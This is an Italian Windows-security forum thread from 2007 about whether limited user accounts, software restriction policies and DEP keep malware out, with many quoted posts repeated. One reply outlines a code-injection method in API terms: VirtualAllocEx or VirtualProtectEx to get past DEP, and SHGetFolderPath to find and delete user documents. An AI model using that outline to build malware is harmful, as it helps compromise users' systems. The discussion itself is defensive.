wisher
28-08-2007, 15:09
Spesso i sostenitori (come me) dell'utilizzo di account utente limitati portano come primo vantaggio di una configurazione simile il fatto che venire infettati è più difficile. Questo corrisponde alla verità?
View Full Version : Con account utente limitati siete mai stati infettati?
sirus
28-08-2007, 15:12
Credo proprio che ciò corrisponda a verità dato che con un account limitato è quasi del tutto inutile avere protezioni aggiuntive se non un firewall. :p
wisher
29-08-2007, 12:39
Non c'è nessun'altro che usa account limitati?
Blue Spirit
29-08-2007, 17:59
Io li uso esattamente da 5 anni, quando tutti mi guardavano come un marziano non appena dicevo che mi collegavo ad internet solo ed esclusivamente attraverso un account limitato...finora non ho mai preso un'infezione (nè a casa, nè in ufficio), nemmeno cercando volontariamente di prenderla...anche se qualche volta l'antivirus ha rilevato robaccia che voleva entrare attraverso il browser (anche se è successo più che altro quando ancora usavo IE...) e magari restava fra i file temporanei...ma non è mai riuscita a replicarsi e diffondersi...cmq oggigiorno è indispensabile dotars di antivirus aggiornato, firewall, antispyware (tutti in tempo reale ovviamente) e HIPS perchè esistono alcuni malware (per fortuna pochi) che riescono a rubare i diritti di amministratore...e inoltre keylogger e ransomware possono fare indisturbati il loro sporco lavoro (anche se limitatamente a quel solo account), a meno che non si tratti di quelli "beceri" che si vanno a copiare nella directory windows e vogliono aggiungere chiavi di registro...colegarsi ad internet con diritti di amministratore è, invece, pura follia, io lo faccio solo una decina di minuti alla settimana per controllare gli aggornamenti di alcuni software e basta...il browser manco lo apro!
Bugs Bunny
29-08-2007, 18:17
mai usato...
sirus
29-08-2007, 22:43
Sono curioso anch'io del risultato di questo sondaggio... secondo me poi alla fine è sempre l'utente quello che fa la differenza :rolleyes:
Vero, ma per prendere un malware e farlo entrare in azione con un account limitato è proprio necessario volerlo. :D
Vero, ma per prendere un malware e farlo entrare in azione con un account limitato è proprio necessario volerlo. :D
Sisupoika
30-08-2007, 02:10
Naturalmente mai.
Io li uso esattamente da 5 anni, quando tutti mi guardavano come un marziano non appena dicevo che mi collegavo ad internet solo ed esclusivamente attraverso un account limitato...finora non ho mai preso un'infezione (nè a casa, nè in ufficio), nemmeno cercando volontariamente di prenderla...anche se qualche volta l'antivirus ha rilevato robaccia che voleva entrare attraverso il browser (anche se è successo più che altro quando ancora usavo IE...) e magari restava fra i file temporanei...ma non è mai riuscita a replicarsi e diffondersi...cmq oggigiorno è indispensabile dotars di antivirus aggiornato, firewall, antispyware (tutti in tempo reale ovviamente) e HIPS perchè esistono alcuni malware (per fortuna pochi) che riescono a rubare i diritti di amministratore...e inoltre keylogger e ransomware possono fare indisturbati il loro sporco lavoro (anche se limitatamente a quel solo account), a meno che non si tratti di quelli "beceri" che si vanno a copiare nella directory windows e vogliono aggiungere chiavi di registro...colegarsi ad internet con diritti di amministratore è, invece, pura follia, io lo faccio solo una decina di minuti alla settimana per controllare gli aggornamenti di alcuni software e basta...il browser manco lo apro!
L'antivirus ci puo' sempre stare, on demand, perche' puo' capitare di portare in giro files.
Ma un HIPS e' la cosa piu' inutile a questo modo con un account limitato settato opportunamente (vedi i miei thread in cui se ne parla) e un po', neanche tanto, di buon senso.
Lo stesso vale per Antispyware e varie altre categorie che si inventano come fossero nuovi prodotti, di tanto in tanto..
Vero, ma per prendere un malware e farlo entrare in azione con un account limitato è proprio necessario volerlo. :D
:D
Io li uso esattamente da 5 anni, quando tutti mi guardavano come un marziano non appena dicevo che mi collegavo ad internet solo ed esclusivamente attraverso un account limitato...finora non ho mai preso un'infezione (nè a casa, nè in ufficio), nemmeno cercando volontariamente di prenderla...anche se qualche volta l'antivirus ha rilevato robaccia che voleva entrare attraverso il browser (anche se è successo più che altro quando ancora usavo IE...) e magari restava fra i file temporanei...ma non è mai riuscita a replicarsi e diffondersi...cmq oggigiorno è indispensabile dotars di antivirus aggiornato, firewall, antispyware (tutti in tempo reale ovviamente) e HIPS perchè esistono alcuni malware (per fortuna pochi) che riescono a rubare i diritti di amministratore...e inoltre keylogger e ransomware possono fare indisturbati il loro sporco lavoro (anche se limitatamente a quel solo account), a meno che non si tratti di quelli "beceri" che si vanno a copiare nella directory windows e vogliono aggiungere chiavi di registro...colegarsi ad internet con diritti di amministratore è, invece, pura follia, io lo faccio solo una decina di minuti alla settimana per controllare gli aggornamenti di alcuni software e basta...il browser manco lo apro!
L'antivirus ci puo' sempre stare, on demand, perche' puo' capitare di portare in giro files.
Ma un HIPS e' la cosa piu' inutile a questo modo con un account limitato settato opportunamente (vedi i miei thread in cui se ne parla) e un po', neanche tanto, di buon senso.
Lo stesso vale per Antispyware e varie altre categorie che si inventano come fossero nuovi prodotti, di tanto in tanto..
Vero, ma per prendere un malware e farlo entrare in azione con un account limitato è proprio necessario volerlo. :D
:D
Sisupoika
30-08-2007, 02:11
chi ha votato si'? :D
brown
30-08-2007, 08:31
mai infettato ma nn uso l'account limitato :D :D
sirus
30-08-2007, 08:40
Chi ha votato "Si" si faccia avanti... :D come si fa a prendere un malware con un account limitato? Avete utilizzato sull'eseguibile: "Esegui come..." ed avete inserito le credenziali di un amministratore? :eekk:
Blue Spirit
30-08-2007, 09:12
Chi ha votato "Si" si faccia avanti... :D come si fa a prendere un malware con un account limitato? Avete utilizzato sull'eseguibile: "Esegui come..." ed avete inserito le credenziali di un amministratore? :eekk:
è possibile, io l'ho fatto con wallbreaker, pcaudit, dnstester e simili per testare Comodo e SSM :D però sono stati bloccati :oink:
è possibile, io l'ho fatto con wallbreaker, pcaudit, dnstester e simili per testare Comodo e SSM :D però sono stati bloccati :oink:
sirus
30-08-2007, 09:16
è possibile, io l'ho fatto con wallbreaker, pcaudit, dnstester e simili per testare Comodo e SSM :D però sono stati bloccati :oink:
Appunto, bisogna proprio volerlo :D ed il sondaggio non era per i masochisti. :Prrr:
Appunto, bisogna proprio volerlo :D ed il sondaggio non era per i masochisti. :Prrr:
giannola
30-08-2007, 11:52
chi ha votato si'? :D
ho appena votato si.
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
ho appena votato si.
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
sirus
30-08-2007, 11:58
ho appena votato si.
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
Ti sei dimenticato che una volta entrati i malware non possono fare nulla quindi non sei stato infettato. :D
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
Ti sei dimenticato che una volta entrati i malware non possono fare nulla quindi non sei stato infettato. :D
Sisupoika
30-08-2007, 12:24
ho appena votato si.
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
64 + lua? se riesci a beccarti una infezione vuol dire che proprio l'hai cercata :mbe:
Utilizzo vista 64 con account limitato, avg suite e superantispyware.
Ogni tanto avg mi segnala qualcosa, ma stante il fatto che svuoto sempre il contenuto della cache del browser, non ci sono possibilità che un virus sia più veloce di me a trovare le password per amministratore prima di essere fatto fuori. :sofico:
64 + lua? se riesci a beccarti una infezione vuol dire che proprio l'hai cercata :mbe:
giannola
30-08-2007, 15:14
Ti sei dimenticato che una volta entrati i malware non possono fare nulla quindi non sei stato infettato. :D
questa nn l'ho capita :)
64 + lua? se riesci a beccarti una infezione vuol dire che proprio l'hai cercata :mbe:
usavo la stesse precauzioni con xp e devo dire che sono sempre stato abbastanza tranquillo.
Sul discorso di andarsele a cercare le cose non sono così semplici, a volte mi è capitato di rilevare del malware proprio nel momento in cui visualizavo delle pagine e non si trattava di siti porno o warez ma di comunissimi siti reperiti nelle più svariate ricerche.
Quelle sono le infezioni più ostiche perchè ti colpiscono all'inprovviso e se non sei più che protetto un downloader in pochissimo tempo acquisendo i diritti di amministratore è capace di scaricare altro malware e di copiarlo e copiarsi in cartelle di sistema.
Altro discorso è utilizzando un account limitato.
Questo obbligherebbe qualunque malware a reperire la password o ad utilizzare una qualunque altra falla per acquisire privilegi di amministratore ma in ogni caso questo regalerebbe del tempo prezioso all'utente e all'antivirus per cercare di proteggersi.
Inoltre è significativamente scarso il rischio di capitare in una situazione in cui un downloader riesca ad effettuare un attacco brute force con successo prima che l'av lo abbia neutralizzato.
Poi tutto è possibile.;)
questa nn l'ho capita :)
64 + lua? se riesci a beccarti una infezione vuol dire che proprio l'hai cercata :mbe:
usavo la stesse precauzioni con xp e devo dire che sono sempre stato abbastanza tranquillo.
Sul discorso di andarsele a cercare le cose non sono così semplici, a volte mi è capitato di rilevare del malware proprio nel momento in cui visualizavo delle pagine e non si trattava di siti porno o warez ma di comunissimi siti reperiti nelle più svariate ricerche.
Quelle sono le infezioni più ostiche perchè ti colpiscono all'inprovviso e se non sei più che protetto un downloader in pochissimo tempo acquisendo i diritti di amministratore è capace di scaricare altro malware e di copiarlo e copiarsi in cartelle di sistema.
Altro discorso è utilizzando un account limitato.
Questo obbligherebbe qualunque malware a reperire la password o ad utilizzare una qualunque altra falla per acquisire privilegi di amministratore ma in ogni caso questo regalerebbe del tempo prezioso all'utente e all'antivirus per cercare di proteggersi.
Inoltre è significativamente scarso il rischio di capitare in una situazione in cui un downloader riesca ad effettuare un attacco brute force con successo prima che l'av lo abbia neutralizzato.
Poi tutto è possibile.;)
sirus
30-08-2007, 15:16
questa nn l'ho capita :)
Se un malware risiede nella cache di un browser ma non ha nessun privilegio per effettuare attacchi se ne sta li "buono buono" ed aspettare che la cache venga svuotata.
Questo significa che pur essendoci un malware nel file system questo non ha possibilità di agire e quindi il sistema non è mai stato infettato. :)
Se un malware risiede nella cache di un browser ma non ha nessun privilegio per effettuare attacchi se ne sta li "buono buono" ed aspettare che la cache venga svuotata.
Questo significa che pur essendoci un malware nel file system questo non ha possibilità di agire e quindi il sistema non è mai stato infettato. :)
wisher
30-08-2007, 15:22
Se un malware risiede nella cache di un browser ma non ha nessun privilegio per effettuare attacchi se ne sta li "buono buono" ed aspettare che la cache venga svuotata.
Questo significa che pur essendoci un malware nel file system questo non ha possibilità di agire e quindi il sistema non è mai stato infettato. :)
Purtroppo questo vale solo se si usano sistemi come il Protected Mode di IE7 su Vista, altrimenti in un caso più generale malware nella cache potrebbe compromettere non il sistema ma i dati dell'utente, cosa secondo me altrettando grave.
Questo significa che pur essendoci un malware nel file system questo non ha possibilità di agire e quindi il sistema non è mai stato infettato. :)
Purtroppo questo vale solo se si usano sistemi come il Protected Mode di IE7 su Vista, altrimenti in un caso più generale malware nella cache potrebbe compromettere non il sistema ma i dati dell'utente, cosa secondo me altrettando grave.
Sisupoika
30-08-2007, 16:17
Purtroppo questo vale solo se si usano sistemi come il Protected Mode di IE7 su Vista, altrimenti in un caso più generale malware nella cache potrebbe compromettere non il sistema ma i dati dell'utente, cosa secondo me altrettando grave.
Sbagli, vale anche se si usa XP con
- account limitato
- restrizioni del software con impostazioni di default (default deny e esecuzione consentita solo dalle cartelle di sistema)
Qualunque cosa venga scaricata non puo' essere eseguita "automaticamente", a meno che venga scaricata in un folder di sistema - cosa non possibile perche' l'azione non e' consentita ad un account limitato.
Sbagli, vale anche se si usa XP con
- account limitato
- restrizioni del software con impostazioni di default (default deny e esecuzione consentita solo dalle cartelle di sistema)
Qualunque cosa venga scaricata non puo' essere eseguita "automaticamente", a meno che venga scaricata in un folder di sistema - cosa non possibile perche' l'azione non e' consentita ad un account limitato.
wisher
30-08-2007, 20:14
Sbagli, vale anche se si usa XP con
- account limitato
- restrizioni del software con impostazioni di default (default deny e esecuzione consentita solo dalle cartelle di sistema)
Qualunque cosa venga scaricata non puo' essere eseguita "automaticamente", a meno che venga scaricata in un folder di sistema - cosa non possibile perche' l'azione non e' consentita ad un account limitato.
Buono a sapersi allora
- account limitato
- restrizioni del software con impostazioni di default (default deny e esecuzione consentita solo dalle cartelle di sistema)
Qualunque cosa venga scaricata non puo' essere eseguita "automaticamente", a meno che venga scaricata in un folder di sistema - cosa non possibile perche' l'azione non e' consentita ad un account limitato.
Buono a sapersi allora
71104
30-08-2007, 20:44
Purtroppo questo vale solo se si usano sistemi come il Protected Mode di IE7 su Vista, altrimenti in un caso più generale malware nella cache potrebbe compromettere non il sistema ma i dati dell'utente, cosa secondo me altrettando grave. supponiamo che del codice malizioso sia andato in esecuzione nel processo di IE7 in Protected Mode. non è vero che non può danneggiare il sistema o i dati perché può ancora iniettarsi all'interno di un altro processo che abbia accesso ai files da danneggiare.
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni. in altre parole, che io sappia Windows non ha delle interfacce utente che permettano di gestire i permessi di accesso associati ai processi, ma solo quelli associati a files e chiavi di registro.
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni. in altre parole, che io sappia Windows non ha delle interfacce utente che permettano di gestire i permessi di accesso associati ai processi, ma solo quelli associati a files e chiavi di registro.
wisher
30-08-2007, 20:56
@71104
Io mi riferivo all'accoppiata Utente Limitato + Protected mode.
Io mi riferivo all'accoppiata Utente Limitato + Protected mode.
Sisupoika
30-08-2007, 20:59
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
No, se si prendono i dovuti accorgimenti
http://www.hwupgrade.it/forum/showpost.php?p=18453038&postcount=308
Oppure mettere i propri documenti in un drive crittografato accessibile soltanto dalle applicazioni che si vogliono autorizzare. I processi non autorizzati non avrebbero modo di accedere ai dati protetti.
Anche se siamo a livello di paranoia. Diciamo che e' abbastanza difficile che capiti un problema a questi livelli.
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni. in altre parole, che io sappia Windows non ha delle interfacce utente che permettano di gestire i permessi di accesso associati ai processi, ma solo quelli associati a files e chiavi di registro.
Una volta settate le restrizioni sul software, come dicevo nel post precedente, e' gia' estremamente difficile che un processo venga eseguito all'insaputa dell'utente per via dell'account limitato, ma grazie alle restrizioni questo processo non verrebbe eseguito in normali condizioni perche' al di fuori dei percorsi permessi dal sistema operativo, percorsi nei quali qualunque processo avviato come account limitato, semplicemente non puo' scrivere.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
E' chiaro che si parla sempre e comunque di maggioranza dei casi, non totalita'.
No, se si prendono i dovuti accorgimenti
http://www.hwupgrade.it/forum/showpost.php?p=18453038&postcount=308
Oppure mettere i propri documenti in un drive crittografato accessibile soltanto dalle applicazioni che si vogliono autorizzare. I processi non autorizzati non avrebbero modo di accedere ai dati protetti.
Anche se siamo a livello di paranoia. Diciamo che e' abbastanza difficile che capiti un problema a questi livelli.
credo che ancora non esista una soluzione pratica vera e propria al problema dell'iniezione di codice in altri processi che sia attuabile senza ricorrere all'uso di programmi esterni. in altre parole, che io sappia Windows non ha delle interfacce utente che permettano di gestire i permessi di accesso associati ai processi, ma solo quelli associati a files e chiavi di registro.
Una volta settate le restrizioni sul software, come dicevo nel post precedente, e' gia' estremamente difficile che un processo venga eseguito all'insaputa dell'utente per via dell'account limitato, ma grazie alle restrizioni questo processo non verrebbe eseguito in normali condizioni perche' al di fuori dei percorsi permessi dal sistema operativo, percorsi nei quali qualunque processo avviato come account limitato, semplicemente non puo' scrivere.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
E' chiaro che si parla sempre e comunque di maggioranza dei casi, non totalita'.
Chukie
30-08-2007, 21:32
Una volta settate le restrizioni sul software, come dicevo nel post precedente, e' gia' estremamente difficile che un processo venga eseguito all'insaputa dell'utente per via dell'account limitato, ma grazie alle restrizioni questo processo non verrebbe eseguito in normali condizioni perche' al di fuori dei percorsi permessi dal sistema operativo, percorsi nei quali qualunque processo avviato come account limitato, semplicemente non puo' scrivere.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
E' chiaro che si parla sempre e comunque di maggioranza dei casi, non totalita'.
Se intendi che i software eseguiti dopo l'esecuzione del sistema vengono eseguiti attraverso un utente di privilegi minore di quello con cui il sistema è stato eseguito, allora ok, altrimenti no.
File injection != DEP
Il DEP (Data Execution Prevention) prevede, per l'appunto come da nome, l'intercettazione di esecuzione di codice da zone di memoria dalle quali non dovrebbe essere eseguito codice (per l'appunto la zona dello stack/heap, dedita alla mera memorizzazione dati).
L'iniezione di codice di cui si parla sopra è differente, si tratta di allocare una zona di memoria all'interno dell'immagine di un eventuale processo ospite e copiarne all'interno del codice, solitamente malevolo.
Senza considerare che il DEP, come da più fonti anche affermato, se non è totalmente inutile, molto ci si avvicina, vista la sua capacità di prevenire una sola tipologia di attacco di buffer overflow di contro a molte altre tecniche conosciute. Se parliamo, parliamo di Hardware-enforced DEP, il quale anch'esso con configurazioni di default è vulnerabile.
Comunque complimenti per la guida da te scritta!
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi.
E' chiaro che si parla sempre e comunque di maggioranza dei casi, non totalita'.
Se intendi che i software eseguiti dopo l'esecuzione del sistema vengono eseguiti attraverso un utente di privilegi minore di quello con cui il sistema è stato eseguito, allora ok, altrimenti no.
File injection != DEP
Il DEP (Data Execution Prevention) prevede, per l'appunto come da nome, l'intercettazione di esecuzione di codice da zone di memoria dalle quali non dovrebbe essere eseguito codice (per l'appunto la zona dello stack/heap, dedita alla mera memorizzazione dati).
L'iniezione di codice di cui si parla sopra è differente, si tratta di allocare una zona di memoria all'interno dell'immagine di un eventuale processo ospite e copiarne all'interno del codice, solitamente malevolo.
Senza considerare che il DEP, come da più fonti anche affermato, se non è totalmente inutile, molto ci si avvicina, vista la sua capacità di prevenire una sola tipologia di attacco di buffer overflow di contro a molte altre tecniche conosciute. Se parliamo, parliamo di Hardware-enforced DEP, il quale anch'esso con configurazioni di default è vulnerabile.
Comunque complimenti per la guida da te scritta!
sirus
30-08-2007, 21:54
supponiamo che del codice malizioso sia andato in esecuzione nel processo di IE7 in Protected Mode. non è vero che non può danneggiare il sistema o i dati perché può ancora iniettarsi all'interno di un altro processo che abbia accesso ai files da danneggiare.
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
IL dovrebbe provvedere a questo.
Di default Internet Explorer 7 in Protected Mode e tutti i processi che vengono da lui avviati hanno accesso alla directory Download ed alla cache del browser (ovviamente sto parlando di Windows Vista). :)
al contrario invece è vero che utilizzando un account limitato nessun processo ha accesso a determinate risorse e quindi non può danneggiare il sistema. può però ancora danneggiare i documenti dell'utente.
IL dovrebbe provvedere a questo.
Di default Internet Explorer 7 in Protected Mode e tutti i processi che vengono da lui avviati hanno accesso alla directory Download ed alla cache del browser (ovviamente sto parlando di Windows Vista). :)
71104
30-08-2007, 23:31
No, se si prendono i dovuti accorgimenti ovviamente non esiste mai nessun problema di sicurezza se si prendono i dovuti accorgimenti (penso sia più impossibile che difficile trovare un problema di sicurezza che non possa essere risolto dovutamente), ma io scrivevo basandomi sull'ipotesi di una classica installazione di Windows XP SP2 fresca e configurata di default, quindi con documenti accessibili all'utente interattivo e programmi "a rischio" non jailati. in realtà poi la cosa penso valga anche per Windows Vista (che non ho, quindi non posso provare) fatta eccezione per IE7; ad esempio tramite un exploit per un ipotetico bug di FireFox potrebbe danneggiare i documenti dell'utente anche in Windows Vista (parliamo sempre di configurazioni di default).
comunque ho letto il post che mi hai linkato; vorrei precisare una cosa, ma è giusto un puntiglio :D
3. vai nelle proprieta' dei file/cartelle/partizioni che vuoi proteggere, e rimuovi tutti gli utenti presenti, in modo da negare l'accesso a tutti
4. aggiungi invece l'utente appena creato, es. DocAdmin, e consentigli pieno controllo. bisogna prima aggiungere DocAdmin e soprattutto impostarlo come owner, e poi togliere tutti gli altri, altrimenti non avresti più i permessi per aggiungere DocAdmin :D potresti farlo solamente da un account col privilegio "Take Ownership".
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D
Anche se siamo a livello di paranoia. Diciamo che e' abbastanza difficile che capiti un problema a questi livelli. non ho mai programmato controlli ActiveX per il web e quindi non so che restrizioni abbiano questi, ma se l'utonto accettasse ciecamente la loro installazione (come alla fine chiunque fa) non potrebbero danneggiare dei documenti non protetti? io dico che è tutt'altro che paranoia :p
Una volta settate le restrizioni sul software, come dicevo nel post precedente, e' gia' estremamente difficile che un processo venga eseguito all'insaputa dell'utente per via dell'account limitato, precisiamo: è difficile che il malware faccia danni, non che venga eseguito. ad eseguirlo viene eseguito comunque, solo che le API che chiama non faranno altro che sparargli errori :)
sempre che tu abbia configurato tutto bene.
ma grazie alle restrizioni questo processo non verrebbe eseguito in normali condizioni perche' al di fuori dei percorsi permessi dal sistema operativo, percorsi nei quali qualunque processo avviato come account limitato, semplicemente non puo' scrivere. non è detto che un malware voglia scrivere in System32. piuttosto cercherà la cartella dei documenti con l'API SHGetFolderPath e cercherà di cancellare qualche file.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi. intendi un Data Execution Prevention nel processo in cui gira inizialmente il malware (come il browser) o nel processo in cui iniettare codice? nel primo caso non ha senso parlare di quel tipo di exploit (ma ce ne possono essere molti altri, tranquillo che non mancano :D), mentre il secondo caso non è un problema: se il malware riesce ad aprire il processo target con PROCESS_VM_OPERATION (e nella maggioranza dei casi riesce ad aprirlo anche con PROCESS_ALL_ACCESS se è per questo) sarà sufficiente una VirtualProtectEx con gli opportuni parametri, oppure semplicemente passare fin da subito i parametri giusti alla VirtualAllocEx.
comunque ho letto il post che mi hai linkato; vorrei precisare una cosa, ma è giusto un puntiglio :D
3. vai nelle proprieta' dei file/cartelle/partizioni che vuoi proteggere, e rimuovi tutti gli utenti presenti, in modo da negare l'accesso a tutti
4. aggiungi invece l'utente appena creato, es. DocAdmin, e consentigli pieno controllo. bisogna prima aggiungere DocAdmin e soprattutto impostarlo come owner, e poi togliere tutti gli altri, altrimenti non avresti più i permessi per aggiungere DocAdmin :D potresti farlo solamente da un account col privilegio "Take Ownership".
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D
Anche se siamo a livello di paranoia. Diciamo che e' abbastanza difficile che capiti un problema a questi livelli. non ho mai programmato controlli ActiveX per il web e quindi non so che restrizioni abbiano questi, ma se l'utonto accettasse ciecamente la loro installazione (come alla fine chiunque fa) non potrebbero danneggiare dei documenti non protetti? io dico che è tutt'altro che paranoia :p
Una volta settate le restrizioni sul software, come dicevo nel post precedente, e' gia' estremamente difficile che un processo venga eseguito all'insaputa dell'utente per via dell'account limitato, precisiamo: è difficile che il malware faccia danni, non che venga eseguito. ad eseguirlo viene eseguito comunque, solo che le API che chiama non faranno altro che sparargli errori :)
sempre che tu abbia configurato tutto bene.
ma grazie alle restrizioni questo processo non verrebbe eseguito in normali condizioni perche' al di fuori dei percorsi permessi dal sistema operativo, percorsi nei quali qualunque processo avviato come account limitato, semplicemente non puo' scrivere. non è detto che un malware voglia scrivere in System32. piuttosto cercherà la cartella dei documenti con l'API SHGetFolderPath e cercherà di cancellare qualche file.
In queste condizioni (account limitato + restrizioni), se pure un processo dovesse riusciure ad eseguirsi in qualche modo, basterebbe il semplice DEP (che da solo, in un account amministratore, e' facilmente aggirabile) - nella maggioranza dei casi - ad evitare che esso possa iniettare roba negli spazi di memoria usati da altri processi. intendi un Data Execution Prevention nel processo in cui gira inizialmente il malware (come il browser) o nel processo in cui iniettare codice? nel primo caso non ha senso parlare di quel tipo di exploit (ma ce ne possono essere molti altri, tranquillo che non mancano :D), mentre il secondo caso non è un problema: se il malware riesce ad aprire il processo target con PROCESS_VM_OPERATION (e nella maggioranza dei casi riesce ad aprirlo anche con PROCESS_ALL_ACCESS se è per questo) sarà sufficiente una VirtualProtectEx con gli opportuni parametri, oppure semplicemente passare fin da subito i parametri giusti alla VirtualAllocEx.
71104
30-08-2007, 23:35
IL dovrebbe provvedere a questo. non conosco... roba di Windows Vista? purtroppo non ho Windows Vista (per principio; vedi nella prima riga della mia firma :D), e dico purtroppo perché a dispetto dei miei principi ritengo Vista un ottimo sistema operativo.
Di default Internet Explorer 7 in Protected Mode e tutti i processi che vengono da lui avviati hanno accesso alla directory Download ed alla cache del browser (ovviamente sto parlando di Windows Vista). :) IE7 e tutti i processi che avvia hanno permessi ristretti e ok, ma nel sistema girano altri processi che non hanno queste restrizioni. per evitare una code injection sarebbe necessario imporre su IE7 delle restrizioni non solo su files, cartelle, e chiavi di registro, ma anche sui processi - cosa che non solo, AFAIK, non succede, ma addirittura, sempre AFAIK, non è fattibile in alcun modo senza ricorrere all'uso di programmi esterni.
Di default Internet Explorer 7 in Protected Mode e tutti i processi che vengono da lui avviati hanno accesso alla directory Download ed alla cache del browser (ovviamente sto parlando di Windows Vista). :) IE7 e tutti i processi che avvia hanno permessi ristretti e ok, ma nel sistema girano altri processi che non hanno queste restrizioni. per evitare una code injection sarebbe necessario imporre su IE7 delle restrizioni non solo su files, cartelle, e chiavi di registro, ma anche sui processi - cosa che non solo, AFAIK, non succede, ma addirittura, sempre AFAIK, non è fattibile in alcun modo senza ricorrere all'uso di programmi esterni.
71104
30-08-2007, 23:40
bisogna prima aggiungere DocAdmin e soprattutto impostarlo come owner, e poi togliere tutti gli altri, altrimenti non avresti più i permessi per aggiungere DocAdmin :D potresti farlo solamente da un account col privilegio "Take Ownership".
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D mi correggo: anche quando l'ACL è stata completamente piallata l'owner corrente dell'oggetto può ancora impostare permessi. :O
però sarebbe anche bene precisare che è necessario cambiare l'owner, altrimenti il malware che gira sotto l'account del vecchio owner potrebbe esso stesso cambiare i permessi a suo piacimento e un c@##ò è tutt'uno. ma visto che i malware d'oggi sono sempre scritti in maniera carente (visto che gli autori sono sempre kiddies ignoranti ed immaturi che hanno letto qualche scrausissimo tutorial sulle API Win32) direi che è possibile considerare paranoia il cambio dell'owner :p
o forse no :Perfido:
:D
oppure fai le due cose nell'ordine che vuoi, solo evita di premere il tasto "Applica" prima di aver ultimato :D :D :D mi correggo: anche quando l'ACL è stata completamente piallata l'owner corrente dell'oggetto può ancora impostare permessi. :O
però sarebbe anche bene precisare che è necessario cambiare l'owner, altrimenti il malware che gira sotto l'account del vecchio owner potrebbe esso stesso cambiare i permessi a suo piacimento e un c@##ò è tutt'uno. ma visto che i malware d'oggi sono sempre scritti in maniera carente (visto che gli autori sono sempre kiddies ignoranti ed immaturi che hanno letto qualche scrausissimo tutorial sulle API Win32) direi che è possibile considerare paranoia il cambio dell'owner :p
o forse no :Perfido:
:D
Riverside
31-08-2007, 01:02
Un fiume di parole, congetture e spiegazioni tecniche per chiarire se sia meglio navigare con un account limitato o meno???.
Mettiamola in questo modo: se devo dare un consiglio, proprendo per suggerire la prima opzione.
Per il resto (e non sono masochista) è una sorta di regola che non ho mai rispettato: da sempre, navigo con l'account Administrator e non ho mai preso un virus.
Siamo onesti almeno per una volta e, diciamola tutta: il primo virus (che è quello più pericoloso) è colui che sta dietro il monitor (o alla tastiera se preferite), gli altri, sono una conseguenza.
Mettiamola in questo modo: se devo dare un consiglio, proprendo per suggerire la prima opzione.
Per il resto (e non sono masochista) è una sorta di regola che non ho mai rispettato: da sempre, navigo con l'account Administrator e non ho mai preso un virus.
Siamo onesti almeno per una volta e, diciamola tutta: il primo virus (che è quello più pericoloso) è colui che sta dietro il monitor (o alla tastiera se preferite), gli altri, sono una conseguenza.
Sisupoika
31-08-2007, 01:14
penso sia più impossibile che difficile trovare un problema di sicurezza che non possa essere risolto dovutamente
Siamo d'accordo :)
comunque ho letto il post che mi hai linkato; vorrei precisare una cosa, ma è giusto un puntiglio :D
